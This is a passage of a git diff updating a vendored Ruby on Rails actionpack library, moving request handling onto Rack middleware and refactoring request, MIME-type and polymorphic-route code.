+      insert(index + 1, *args, &block)
+    end
+
+    def swap(target, *args, &block)
+      insert_before(target, *args, &block)
+      delete(target)
+    end
+
+    def use(*args, &block)
+      middleware = Middleware.new(*args, &block)
+      push(middleware)
+    end
+
+    def active
+      find_all { |middleware| middleware.active? }
+    end
+
+    def build(app)
+      active.reverse.inject(app) { |a, e| e.build(a) }
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/middlewares.rb b/vendor/rails/actionpack/lib/action_controller/middlewares.rb
new file mode 100644
index 00000000..16eb363c
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/middlewares.rb
@@ -0,0 +1,14 @@
+use "Rack::Lock", :if => lambda {
+  !ActionController::Base.allow_concurrency
+}
+
+use "ActionController::Failsafe"
+
+use lambda { ActionController::Base.session_store },
+    lambda { ActionController::Base.session_options }
+
+use "ActionController::ParamsParser"
+use "Rack::MethodOverride"
+use "Rack::Head"
+
+use "ActionController::StringCoercion"
diff --git a/vendor/rails/actionpack/lib/action_controller/mime_responds.rb b/vendor/rails/actionpack/lib/action_controller/mime_responds.rb
index 29294476..b7553638 100644
--- a/vendor/rails/actionpack/lib/action_controller/mime_responds.rb
+++ b/vendor/rails/actionpack/lib/action_controller/mime_responds.rb
@@ -143,12 +143,27 @@ module ActionController #:nodoc:
           custom(@mime_type_priority.first, &block)
         end
       end
+      
+      def self.generate_method_for_mime(mime)
+        sym = mime.is_a?(Symbol) ? mime : mime.to_sym
+        const = sym.to_s.upcase
+        class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def #{sym}(&block)                # def html(&block)
+            custom(Mime::#{const}, &block)  #   custom(Mime::HTML, &block)
+          end                               # end
+        RUBY
+      end
+
+      Mime::SET.each do |mime|
+        generate_method_for_mime(mime)
+      end
 
       def method_missing(symbol, &block)
-        mime_constant = symbol.to_s.upcase
-
-        if Mime::SET.include?(Mime.const_get(mime_constant))
-          custom(Mime.const_get(mime_constant), &block)
+        mime_constant = Mime.const_get(symbol.to_s.upcase)
+      
+        if Mime::SET.include?(mime_constant)
+          self.class.generate_method_for_mime(mime_constant)
+          send(symbol, &block)
         else
           super
         end
diff --git a/vendor/rails/actionpack/lib/action_controller/mime_type.rb b/vendor/rails/actionpack/lib/action_controller/mime_type.rb
index 6923a13f..017626ba 100644
--- a/vendor/rails/actionpack/lib/action_controller/mime_type.rb
+++ b/vendor/rails/actionpack/lib/action_controller/mime_type.rb
@@ -176,6 +176,14 @@ module Mime
       end
     end
 
+    def =~(mime_type)
+      return false if mime_type.blank?
+      regexp = Regexp.new(Regexp.quote(mime_type.to_s))
+      (@synonyms + [ self ]).any? do |synonym|
+        synonym.to_s =~ regexp
+      end
+    end
+
     # Returns true if Action Pack should check requests using this Mime Type for possible request forgery.  See
     # ActionController::RequestForgeryProtection.
     def verify_request?
diff --git a/vendor/rails/actionpack/lib/action_controller/params_parser.rb b/vendor/rails/actionpack/lib/action_controller/params_parser.rb
new file mode 100644
index 00000000..f7e3c54b
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/params_parser.rb
@@ -0,0 +1,77 @@
+module ActionController
+  class ParamsParser
+    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
+    ActionController::Base.param_parsers[Mime::JSON] = :json
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      if params = parse_formatted_parameters(env)
+        env["action_controller.request.request_parameters"] = params
+      end
+
+      @app.call(env)
+    end
+
+    private
+      def parse_formatted_parameters(env)
+        request = Request.new(env)
+
+        return false if request.content_length.zero?
+
+        mime_type = content_type_from_legacy_post_data_format_header(env) || request.content_type
+        strategy = ActionController::Base.param_parsers[mime_type]
+
+        return false unless strategy
+
+        case strategy
+          when Proc
+            strategy.call(request.raw_post)
+          when :xml_simple, :xml_node
+            body = request.raw_post
+            body.blank? ? {} : Hash.from_xml(body).with_indifferent_access
+          when :yaml
+            YAML.load(request.raw_post)
+          when :json
+            body = request.raw_post
+            if body.blank?
+              {}
+            else
+              data = ActiveSupport::JSON.decode(body)
+              data = {:_json => data} unless data.is_a?(Hash)
+              data.with_indifferent_access
+            end
+          else
+            false
+        end
+      rescue Exception => e # YAML, XML or Ruby code block errors
+        logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
+
+        raise
+          { "body" => request.raw_post,
+            "content_type" => request.content_type,
+            "content_length" => request.content_length,
+            "exception" => "#{e.message} (#{e.class})",
+            "backtrace" => e.backtrace }
+      end
+
+      def content_type_from_legacy_post_data_format_header(env)
+        if x_post_format = env['HTTP_X_POST_DATA_FORMAT']
+          case x_post_format.to_s.downcase
+            when 'yaml'
+              return Mime::YAML
+            when 'xml'
+              return Mime::XML
+          end
+        end
+
+        nil
+      end
+
+      def logger
+        defined?(Rails.logger) ? Rails.logger : Logger.new($stderr)
+      end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/performance_test.rb b/vendor/rails/actionpack/lib/action_controller/performance_test.rb
index 85543fff..d8818008 100644
--- a/vendor/rails/actionpack/lib/action_controller/performance_test.rb
+++ b/vendor/rails/actionpack/lib/action_controller/performance_test.rb
@@ -1,4 +1,3 @@
-require 'action_controller/integration'
 require 'active_support/testing/performance'
 require 'active_support/testing/default'
 
diff --git a/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb b/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb
index 28722c93..b30d4411 100644
--- a/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb
+++ b/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb
@@ -36,12 +36,11 @@ module ActionController
   #
   # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
   # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
-  # * <tt>formatted_polymorphic_url</tt>, <tt>formatted_polymorphic_path</tt>
   #
   # Example usage:
   #
   #   edit_polymorphic_path(@post)              # => "/posts/1/edit"
-  #   formatted_polymorphic_path([@post, :pdf]) # => "/posts/1.pdf"
+  #   polymorphic_path(@post, :format => :pdf)  # => "/posts/1.pdf"
   module PolymorphicRoutes
     # Constructs a call to a named RESTful route for the given record and returns the
     # resulting URL string. For example:
@@ -55,7 +54,7 @@ module ActionController
     # ==== Options
     #
     # * <tt>:action</tt> - Specifies the action prefix for the named route:
-    #   <tt>:new</tt>, <tt>:edit</tt>, or <tt>:formatted</tt>. Default is no prefix.
+    #   <tt>:new</tt> or <tt>:edit</tt>. Default is no prefix.
     # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
     #   Default is <tt>:url</tt>.
     #
@@ -77,10 +76,8 @@ module ActionController
         record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
       end
 
-      record    = extract_record(record_or_hash_or_array)
-      format    = extract_format(record_or_hash_or_array, options)
-      namespace = extract_namespace(record_or_hash_or_array)
-      
+      record = extract_record(record_or_hash_or_array)
+
       args = case record_or_hash_or_array
         when Hash;  [ record_or_hash_or_array ]
         when Array; record_or_hash_or_array.dup
@@ -100,11 +97,9 @@ module ActionController
         end
 
       args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
-      args << format if format
-      
-      named_route = build_named_route_call(record_or_hash_or_array, namespace, inflection, options)
+      named_route = build_named_route_call(record_or_hash_or_array, inflection, options)
 
-      url_options = options.except(:action, :routing_type, :format)
+      url_options = options.except(:action, :routing_type)
       unless url_options.empty?
         args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
       end
@@ -119,28 +114,44 @@ module ActionController
       polymorphic_url(record_or_hash_or_array, options)
     end
 
-    %w(edit new formatted).each do |action|
+    %w(edit new).each do |action|
       module_eval <<-EOT, __FILE__, __LINE__
-        def #{action}_polymorphic_url(record_or_hash, options = {})
-          polymorphic_url(record_or_hash, options.merge(:action => "#{action}"))
-        end
-
-        def #{action}_polymorphic_path(record_or_hash, options = {})
-          polymorphic_url(record_or_hash, options.merge(:action => "#{action}", :routing_type => :path))
-        end
+        def #{action}_polymorphic_url(record_or_hash, options = {})         # def edit_polymorphic_url(record_or_hash, options = {})
+          polymorphic_url(                                                  #   polymorphic_url(
+            record_or_hash,                                                 #     record_or_hash,
+            options.merge(:action => "#{action}"))                          #     options.merge(:action => "edit"))
+        end                                                                 # end
+                                                                            #
+        def #{action}_polymorphic_path(record_or_hash, options = {})        # def edit_polymorphic_path(record_or_hash, options = {})
+          polymorphic_url(                                                  #   polymorphic_url(
+            record_or_hash,                                                 #     record_or_hash,
+            options.merge(:action => "#{action}", :routing_type => :path))  #     options.merge(:action => "edit", :routing_type => :path))
+        end                                                                 # end
       EOT
     end
 
+    def formatted_polymorphic_url(record_or_hash, options = {})
+      ActiveSupport::Deprecation.warn("formatted_polymorphic_url has been deprecated. Please pass :format to the polymorphic_url method instead", caller)
+      options[:format] = record_or_hash.pop if Array === record_or_hash
+      polymorphic_url(record_or_hash, options)
+    end
+
+    def formatted_polymorphic_path(record_or_hash, options = {})
+      ActiveSupport::Deprecation.warn("formatted_polymorphic_path has been deprecated. Please pass :format to the polymorphic_path method instead", caller)
+      options[:format] = record_or_hash.pop if record_or_hash === Array
+      polymorphic_url(record_or_hash, options.merge(:routing_type => :path))
+    end
+
     private
       def action_prefix(options)
-        options[:action] ? "#{options[:action]}_" : options[:format] ? "formatted_" : ""
+        options[:action] ? "#{options[:action]}_" : ''
       end
 
       def routing_type(options)
         options[:routing_type] || :url
       end
 
-      def build_named_route_call(records, namespace, inflection, options = {})
+      def build_named_route_call(records, inflection, options = {})
         unless records.is_a?(Array)
           record = extract_record(records)
           route  = ''
@@ -150,7 +161,8 @@ module ActionController
             if parent.is_a?(Symbol) || parent.is_a?(String)
               string << "#{parent}_"
             else
-              string << "#{RecordIdentifier.__send__("singular_class_name", parent)}_"
+              string << RecordIdentifier.__send__("plural_class_name", parent).singularize
+              string << "_"
             end
           end
         end
@@ -158,10 +170,12 @@ module ActionController
         if record.is_a?(Symbol) || record.is_a?(String)
           route << "#{record}_"
         else
-          route << "#{RecordIdentifier.__send__("#{inflection}_class_name", record)}_"
+          route << RecordIdentifier.__send__("plural_class_name", record)
+          route = route.singularize if inflection == :singular
+          route << "_"
         end
 
-        action_prefix(options) + namespace + route + routing_type(options).to_s
+        action_prefix(options) + route + routing_type(options).to_s
       end
 
       def extract_record(record_or_hash_or_array)
@@ -171,28 +185,5 @@ module ActionController
           else        record_or_hash_or_array
         end
       end
-      
-      def extract_format(record_or_hash_or_array, options)
-        if options[:action].to_s == "formatted" && record_or_hash_or_array.is_a?(Array)
-          record_or_hash_or_array.pop
-        elsif options[:format]
-          options[:format]
-        else
-          nil
-        end
-      end
-      
-      # Remove the first symbols from the array and return the url prefix
-      # implied by those symbols.
-      def extract_namespace(record_or_hash_or_array)
-        return "" unless record_or_hash_or_array.is_a?(Array)
-
-        namespace_keys = []
-        while (key = record_or_hash_or_array.first) && key.is_a?(String) || key.is_a?(Symbol)
-          namespace_keys << record_or_hash_or_array.shift
-        end
-
-        namespace_keys.map {|k| "#{k}_"}.join
-      end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb b/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb
new file mode 100644
index 00000000..6938e8ef
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb
@@ -0,0 +1,36 @@
+# Rack 1.0 does not allow string subclass body. This does not play well with our ActionView::SafeBuffer.
+# The next release of Rack will be allowing string subclass body - http://github.com/rack/rack/commit/de668df02802a0335376a81ba709270e43ba9d55
+# TODO : Remove this monkey patch after the next release of Rack
+
+module RackLintPatch
+  module AllowStringSubclass
+    def self.included(base)
+      base.send :alias_method, :each, :each_with_hack
+    end
+
+    def each_with_hack
+      @closed = false
+
+      @body.each { |part|
+        assert("Body yielded non-string value #{part.inspect}") {
+          part.kind_of?(String)
+        }
+        yield part
+      }
+
+      if @body.respond_to?(:to_path)
+        assert("The file identified by body.to_path does not exist") {
+          ::File.exist? @body.to_path
+        }
+      end
+    end
+  end
+
+  begin
+    app = proc {|env| [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, [Class.new(String).new("Hello World!")]] }
+    response = Rack::MockRequest.new(Rack::Lint.new(app)).get('/')
+  rescue Rack::Lint::LintError => e
+    raise(e) unless e.message =~ /Body yielded non-string value/
+    Rack::Lint.send :include, AllowStringSubclass
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/rack_process.rb b/vendor/rails/actionpack/lib/action_controller/rack_process.rb
deleted file mode 100644
index e8ea3704..00000000
--- a/vendor/rails/actionpack/lib/action_controller/rack_process.rb
+++ /dev/null
@@ -1,303 +0,0 @@
-require 'action_controller/cgi_ext'
-require 'action_controller/session/cookie_store'
-
-module ActionController #:nodoc:
-  class RackRequest < AbstractRequest #:nodoc:
-    attr_accessor :session_options
-    attr_reader :cgi
-
-    class SessionFixationAttempt < StandardError #:nodoc:
-    end
-
-    DEFAULT_SESSION_OPTIONS = {
-      :database_manager => CGI::Session::CookieStore, # store data in cookie
-      :prefix           => "ruby_sess.",    # prefix session file names
-      :session_path     => "/",             # available to all paths in app
-      :session_key      => "_session_id",
-      :cookie_only      => true,
-      :session_http_only=> true
-    }
-
-    def initialize(env, session_options = DEFAULT_SESSION_OPTIONS)
-      @session_options = session_options
-      @env = env
-      @cgi = CGIWrapper.new(self)
-      super()
-    end
-
-    %w[ AUTH_TYPE GATEWAY_INTERFACE PATH_INFO
-        PATH_TRANSLATED REMOTE_HOST
-        REMOTE_IDENT REMOTE_USER SCRIPT_NAME
-        SERVER_NAME SERVER_PROTOCOL
-
-        HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
-        HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
-        HTTP_NEGOTIATE HTTP_PRAGMA HTTP_REFERER HTTP_USER_AGENT ].each do |env|
-      define_method(env.sub(/^HTTP_/n, '').downcase) do
-        @env[env]
-      end
-    end
-
-    def query_string
-      qs = super
-      if !qs.blank?
-        qs
-      else
-        @env['QUERY_STRING']
-      end
-    end
-
-    def body_stream #:nodoc:
-      @env['rack.input']
-    end
-
-    def key?(key)
-      @env.key?(key)
-    end
-
-    def cookies
-      return {} unless @env["HTTP_COOKIE"]
-
-      unless @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"]
-        @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"]
-        @env["rack.request.cookie_hash"] = CGI::Cookie::parse(@env["rack.request.cookie_string"])
-      end
-
-      @env["rack.request.cookie_hash"]
-    end
-
-    def server_port
-      @env['SERVER_PORT'].to_i
-    end
-
-    def server_software
-      @env['SERVER_SOFTWARE'].split("/").first
-    end
-
-    def session
-      unless defined?(@session)
-        if @session_options == false
-          @session = Hash.new
-        else
-          stale_session_check! do
-            if cookie_only? && query_parameters[session_options_with_string_keys['session_key']]
-              raise SessionFixationAttempt
-            end
-            case value = session_options_with_string_keys['new_session']
-              when true
-                @session = new_session
-              when false
-                begin
-                  @session = CGI::Session.new(@cgi, session_options_with_string_keys)
-                # CGI::Session raises ArgumentError if 'new_session' == false
-                # and no session cookie or query param is present.
-                rescue ArgumentError
-                  @session = Hash.new
-                end
-              when nil
-                @session = CGI::Session.new(@cgi, session_options_with_string_keys)
-              else
-                raise ArgumentError, "Invalid new_session option: #{value}"
-            end
-            @session['__valid_session']
-          end
-        end
-      end
-      @session
-    end
-
-    def reset_session
-      @session.delete if defined?(@session) && @session.is_a?(CGI::Session)
-      @session = new_session
-    end
-
-    private
-      # Delete an old session if it exists then create a new one.
-      def new_session
-        if @session_options == false
-          Hash.new
-        else
-          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => false)).delete rescue nil
-          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => true))
-        end
-      end
-
-      def cookie_only?
-        session_options_with_string_keys['cookie_only']
-      end
-
-      def stale_session_check!
-        yield
-      rescue ArgumentError => argument_error
-        if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
-          begin
-            # Note that the regexp does not allow $1 to end with a ':'
-            $1.constantize
-          rescue LoadError, NameError => const_error
-            raise ActionController::SessionRestoreError, <<-end_msg
-Session contains objects whose class definition isn\'t available.
-Remember to require the classes for all objects kept in the session.
-(Original exception: #{const_error.message} [#{const_error.class}])
-end_msg
-          end
-
-          retry
-        else
-          raise
-        end
-      end
-
-      def session_options_with_string_keys
-        @session_options_with_string_keys ||= DEFAULT_SESSION_OPTIONS.merge(@session_options).stringify_keys
-      end
-  end
-
-  class RackResponse < AbstractResponse #:nodoc:
-    def initialize(request)
-      @cgi = request.cgi
-      @writer = lambda { |x| @body << x }
-      @block = nil
-      super()
-    end
-
-    # Retrieve status from instance variable if has already been delete
-    def status
-      @status || super
-    end
-
-    def out(output = $stdout, &block)
-      # Nasty hack because CGI sessions are closed after the normal
-      # prepare! statement
-      set_cookies!
-
-      @block = block
-      @status = headers.delete("Status")
-      if [204, 304].include?(status.to_i)
-        headers.delete("Content-Type")
-        [status, headers.to_hash, []]
-      else
-        [status, headers.to_hash, self]
-      end
-    end
-    alias to_a out
-
-    def each(&callback)
-      if @body.respond_to?(:call)
-        @writer = lambda { |x| callback.call(x) }
-        @body.call(self, self)
-      elsif @body.is_a?(String)
-        @body.each_line(&callback)
-      else
-        @body.each(&callback)
-      end
-
-      @writer = callback
-      @block.call(self) if @block
-    end
-
-    def write(str)
-      @writer.call str.to_s
-      str
-    end
-
-    def close
-      @body.close if @body.respond_to?(:close)
-    end
-
-    def empty?
-      @block == nil && @body.empty?
-    end
-
-    def prepare!
-      super
-
-      convert_language!
-      convert_expires!
-      set_status!
-      # set_cookies!
-    end
-
-    private
-      def convert_language!
-        headers["Content-Language"] = headers.delete("language") if headers["language"]
-      end
-
-      def convert_expires!
-        headers["Expires"] = headers.delete("") if headers["expires"]
-      end
-
-      def convert_content_type!
-        super
-        headers['Content-Type'] = headers.delete('type') || "text/html"
-        headers['Content-Type'] += "; charset=" + headers.delete('charset') if headers['charset']
-      end
-
-      def set_content_length!
-        super
-        headers["Content-Length"] = headers["Content-Length"].to_s if headers["Content-Length"]
-      end
-
-      def set_status!
-        self.status ||= "200 OK"
-      end
-
-      def set_cookies!
-        # Convert 'cookie' header to 'Set-Cookie' headers.
-        # Because Set-Cookie header can appear more the once in the response body,
-        # we store it in a line break separated string that will be translated to
-        # multiple Set-Cookie header by the handler.
-        if cookie = headers.delete('cookie')
-          cookies = []
-
-          case cookie
-            when Array then cookie.each { |c| cookies << c.to_s }
-            when Hash  then cookie.each { |_, c| cookies << c.to_s }
-            else            cookies << cookie.to_s
-          end
-
-          @cgi.output_cookies.each { |c| cookies << c.to_s } if @cgi.output_cookies
-
-          headers['Set-Cookie'] = [headers['Set-Cookie'], cookies].flatten.compact
-        end
-      end
-  end
-
-  class CGIWrapper < ::CGI
-    attr_reader :output_cookies
-
-    def initialize(request, *args)
-      @request  = request
-      @args     = *args
-      @input    = request.body
-
-      super *args
-    end
-
-    def params
-      @params ||= @request.params
-    end
-
-    def cookies
-      @request.cookies
-    end
-
-    def query_string
-      @request.query_string
-    end
-
-    # Used to wrap the normal args variable used inside CGI.
-    def args
-      @args
-    end
-
-    # Used to wrap the normal env_table variable used inside CGI.
-    def env_table
-      @request.env
-    end
-
-    # Used to wrap the normal stdinput variable used inside CGI.
-    def stdinput
-      @input
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/reloader.rb b/vendor/rails/actionpack/lib/action_controller/reloader.rb
new file mode 100644
index 00000000..709d88a3
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/reloader.rb
@@ -0,0 +1,54 @@
+require 'thread'
+
+module ActionController
+  class Reloader
+    @@default_lock = Mutex.new
+    cattr_accessor :default_lock
+
+    class BodyWrapper
+      def initialize(body, lock)
+        @body = body
+        @lock = lock
+      end
+
+      def close
+        @body.close if @body.respond_to?(:close)
+      ensure
+        Dispatcher.cleanup_application
+        @lock.unlock
+      end
+
+      def method_missing(*args, &block)
+        @body.send(*args, &block)
+      end
+
+      def respond_to?(symbol, include_private = false)
+        symbol == :close || @body.respond_to?(symbol, include_private)
+      end
+    end
+
+    def self.run(lock = @@default_lock)
+      lock.lock
+      begin
+        Dispatcher.reload_application
+        status, headers, body = yield
+        # We do not want to call 'cleanup_application' in an ensure block
+        # because the returned Rack response body may lazily generate its data. This
+        # is for example the case if one calls
+        #
+        #   render :text => lambda { ... code here which refers to application models ... }
+        #
+        # in an ActionController.
+        #
+        # Instead, we will want to cleanup the application code after the request is
+        # completely finished. So we wrap the body in a BodyWrapper class so that
+        # when the Rack handler calls #close during the end of the request, we get to
+        # run our cleanup code.
+        [status, headers, BodyWrapper.new(body, lock)]
+      rescue Exception
+        lock.unlock
+        raise
+      end
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/lib/action_controller/request.rb b/vendor/rails/actionpack/lib/action_controller/request.rb
index c0798956..1c3c1c83 100755
--- a/vendor/rails/actionpack/lib/action_controller/request.rb
+++ b/vendor/rails/actionpack/lib/action_controller/request.rb
@@ -3,39 +3,42 @@ require 'stringio'
 require 'strscan'
 
 require 'active_support/memoizable'
+require 'action_controller/cgi_ext'
 
 module ActionController
-  # CgiRequest and TestRequest provide concrete implementations.
-  class AbstractRequest
-    extend ActiveSupport::Memoizable
+  class Request < Rack::Request
 
-    def self.relative_url_root=(relative_url_root)
-      ActiveSupport::Deprecation.warn(
-        "ActionController::AbstractRequest.relative_url_root= has been renamed." +
-        "You can now set it with config.action_controller.relative_url_root=", caller)
-      ActionController::Base.relative_url_root=relative_url_root
+    %w[ AUTH_TYPE GATEWAY_INTERFACE
+        PATH_TRANSLATED REMOTE_HOST
+        REMOTE_IDENT REMOTE_USER REMOTE_ADDR
+        SERVER_NAME SERVER_PROTOCOL
+
+        HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
+        HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
+        HTTP_NEGOTIATE HTTP_PRAGMA HTTP_REFERER HTTP_USER_AGENT ].each do |env|
+      define_method(env.sub(/^HTTP_/n, '').downcase) do
+        @env[env]
+      end
+    end
+
+    def key?(key)
+      @env.key?(key)
     end
 
     HTTP_METHODS = %w(get head put post delete options)
     HTTP_METHOD_LOOKUP = HTTP_METHODS.inject({}) { |h, m| h[m] = h[m.upcase] = m.to_sym; h }
 
-    # The hash of environment variables for this request,
-    # such as { 'RAILS_ENV' => 'production' }.
-    attr_reader :env
-
-    # The true HTTP request \method as a lowercase symbol, such as <tt>:get</tt>.
-    # UnknownHttpMethod is raised for invalid methods not listed in ACCEPTED_HTTP_METHODS.
+    # Returns the true HTTP request \method as a lowercase symbol, such as
+    # <tt>:get</tt>. If the request \method is not listed in the HTTP_METHODS
+    # constant above, an UnknownHttpMethod exception is raised.
     def request_method
-      method = @env['REQUEST_METHOD']
-      method = parameters[:_method] if method == 'POST' && !parameters[:_method].blank?
-
-      HTTP_METHOD_LOOKUP[method] || raise(UnknownHttpMethod, "#{method}, accepted HTTP methods are #{HTTP_METHODS.to_sentence}")
+      @request_method ||= HTTP_METHOD_LOOKUP[super] || raise(UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
     end
-    memoize :request_method
 
-    # The HTTP request \method as a lowercase symbol, such as <tt>:get</tt>.
-    # Note, HEAD is returned as <tt>:get</tt> since the two are functionally
-    # equivalent from the application's perspective.
+    # Returns the HTTP request \method used for action processing as a
+    # lowercase symbol, such as <tt>:post</tt>. (Unlike #request_method, this
+    # method returns <tt>:get</tt> for a HEAD request because the two are
+    # functionally equivalent from the application's perspective.)
     def method
       request_method == :head ? :get : request_method
     end
@@ -70,43 +73,50 @@ module ActionController
     #
     #   request.headers["Content-Type"] # => "text/plain"
     def headers
-      ActionController::Http::Headers.new(@env)
+      @headers ||= ActionController::Http::Headers.new(@env)
     end
-    memoize :headers
 
     # Returns the content length of the request as an integer.
     def content_length
-      @env['CONTENT_LENGTH'].to_i
+      super.to_i
     end
-    memoize :content_length
 
     # The MIME type of the HTTP request, such as Mime::XML.
     #
     # For backward compatibility, the post \format is extracted from the
     # X-Post-Data-Format HTTP header if present.
     def content_type
-      Mime::Type.lookup(content_type_without_parameters)
+      @content_type ||= begin
+        if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/
+          Mime::Type.lookup($1.strip.downcase)
+        else
+          nil
+        end
+      end
+    end
+
+    def media_type
+      content_type.to_s
     end
-    memoize :content_type
 
     # Returns the accepted MIME type for the request.
     def accepts
-      header = @env['HTTP_ACCEPT'].to_s.strip
+      @accepts ||= begin
+        header = @env['HTTP_ACCEPT'].to_s.strip
 
-      if header.empty?
-        [content_type, Mime::ALL].compact
-      else
-        Mime::Type.parse(header)
+        if header.empty?
+          [content_type, Mime::ALL].compact
+        else
+          Mime::Type.parse(header)
+        end
       end
     end
-    memoize :accepts
 
     def if_modified_since
       if since = env['HTTP_IF_MODIFIED_SINCE']
         Time.rfc2822(since) rescue nil
       end
     end
-    memoize :if_modified_since
 
     def if_none_match
       env['HTTP_IF_NONE_MATCH']
@@ -125,15 +135,15 @@ module ActionController
     # supplied, both must match, or the request is not considered fresh.
     def fresh?(response)
       case
-      when if_modified_since && if_none_match 
-        not_modified?(response.last_modified) && etag_matches?(response.etag) 
-      when if_modified_since 
-        not_modified?(response.last_modified) 
-      when if_none_match 
-        etag_matches?(response.etag) 
-      else 
-        false 
-      end 
+      when if_modified_since && if_none_match
+        not_modified?(response.last_modified) && etag_matches?(response.etag)
+      when if_modified_since
+        not_modified?(response.last_modified)
+      when if_none_match
+        etag_matches?(response.etag)
+      else
+        false
+      end
     end
 
     # Returns the Mime type for the \format used in the request.
@@ -209,7 +219,7 @@ module ActionController
     # delimited list in the case of multiple chained proxies; the last
     # address which is not trusted is the originating IP.
     def remote_ip
-      remote_addr_list = @env['REMOTE_ADDR'] && @env['REMOTE_ADDR'].split(',').collect(&:strip)
+      remote_addr_list = @env['REMOTE_ADDR'] && @env['REMOTE_ADDR'].scan(/[^,\s]+/)
 
       unless remote_addr_list.blank?
         not_trusted_addrs = remote_addr_list.reject {|addr| addr =~ TRUSTED_PROXIES}
@@ -218,7 +228,7 @@ module ActionController
       remote_ips = @env['HTTP_X_FORWARDED_FOR'] && @env['HTTP_X_FORWARDED_FOR'].split(',')
 
       if @env.include? 'HTTP_CLIENT_IP'
-        if remote_ips && !remote_ips.include?(@env['HTTP_CLIENT_IP'])
+        if ActionController::Base.ip_spoofing_check && remote_ips && !remote_ips.include?(@env['HTTP_CLIENT_IP'])
           # We don't know which came from the proxy, and which from the user
           raise ActionControllerError.new(<<EOM)
 IP spoofing attack?!
@@ -240,26 +250,21 @@ EOM
 
       @env['REMOTE_ADDR']
     end
-    memoize :remote_ip
 
     # Returns the lowercase name of the HTTP server software.
     def server_software
       (@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil
     end
-    memoize :server_software
-
 
     # Returns the complete URL used for this request.
     def url
       protocol + host_with_port + request_uri
     end
-    memoize :url
 
     # Returns 'https://' if this is an SSL request and 'http://' otherwise.
     def protocol
       ssl? ? 'https://' : 'http://'
     end
-    memoize :protocol
 
     # Is this an SSL request?
     def ssl?
@@ -271,7 +276,7 @@ EOM
       if forwarded = env["HTTP_X_FORWARDED_HOST"]
         forwarded.split(/,\s?/).last
       else
-        env['HTTP_HOST'] || env['SERVER_NAME'] || "#{env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
+        env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
       end
     end
 
@@ -279,14 +284,12 @@ EOM
     def host
       raw_host_with_port.sub(/:\d+$/, '')
     end
-    memoize :host
 
     # Returns a \host:\port string for this request, such as "example.com" or
     # "example.com:8080".
     def host_with_port
       "#{host}#{port_string}"
     end
-    memoize :host_with_port
 
     # Returns the port number of this request as an integer.
     def port
@@ -296,7 +299,6 @@ EOM
         standard_port
       end
     end
-    memoize :port
 
     # Returns the standard \port number for this request's protocol.
     def standard_port
@@ -332,13 +334,8 @@ EOM
 
     # Returns the query string, accounting for server idiosyncrasies.
     def query_string
-      if uri = @env['REQUEST_URI']
-        uri.split('?', 2)[1] || ''
-      else
-        @env['QUERY_STRING'] || ''
-      end
+      @env['QUERY_STRING'].present? ? @env['QUERY_STRING'] : (@env['REQUEST_URI'].split('?', 2)[1] || '')
     end
-    memoize :query_string
 
     # Returns the request URI, accounting for server idiosyncrasies.
     # WEBrick includes the full URL. IIS leaves REQUEST_URI blank.
@@ -364,36 +361,33 @@ EOM
         end
       end
     end
-    memoize :request_uri
 
     # Returns the interpreted \path to requested resource after all the installation
     # directory of this application was taken into account.
     def path
-      path = (uri = request_uri) ? uri.split('?').first.to_s : ''
-
-      # Cut off the path to the installation directory if given
-      path.sub!(%r/^#{ActionController::Base.relative_url_root}/, '')
-      path || ''
+      path = request_uri.to_s[/\A[^\?]*/]
+      path.sub!(/\A#{ActionController::Base.relative_url_root}/, '')
+      path
     end
-    memoize :path
 
     # Read the request \body. This is useful for web services that need to
     # work with raw requests directly.
     def raw_post
-      unless env.include? 'RAW_POST_DATA'
-        env['RAW_POST_DATA'] = body.read(content_length)
+      unless @env.include? 'RAW_POST_DATA'
+        @env['RAW_POST_DATA'] = body.read(@env['CONTENT_LENGTH'].to_i)
         body.rewind if body.respond_to?(:rewind)
       end
-      env['RAW_POST_DATA']
+      @env['RAW_POST_DATA']
     end
 
     # Returns both GET and POST \parameters in a single hash.
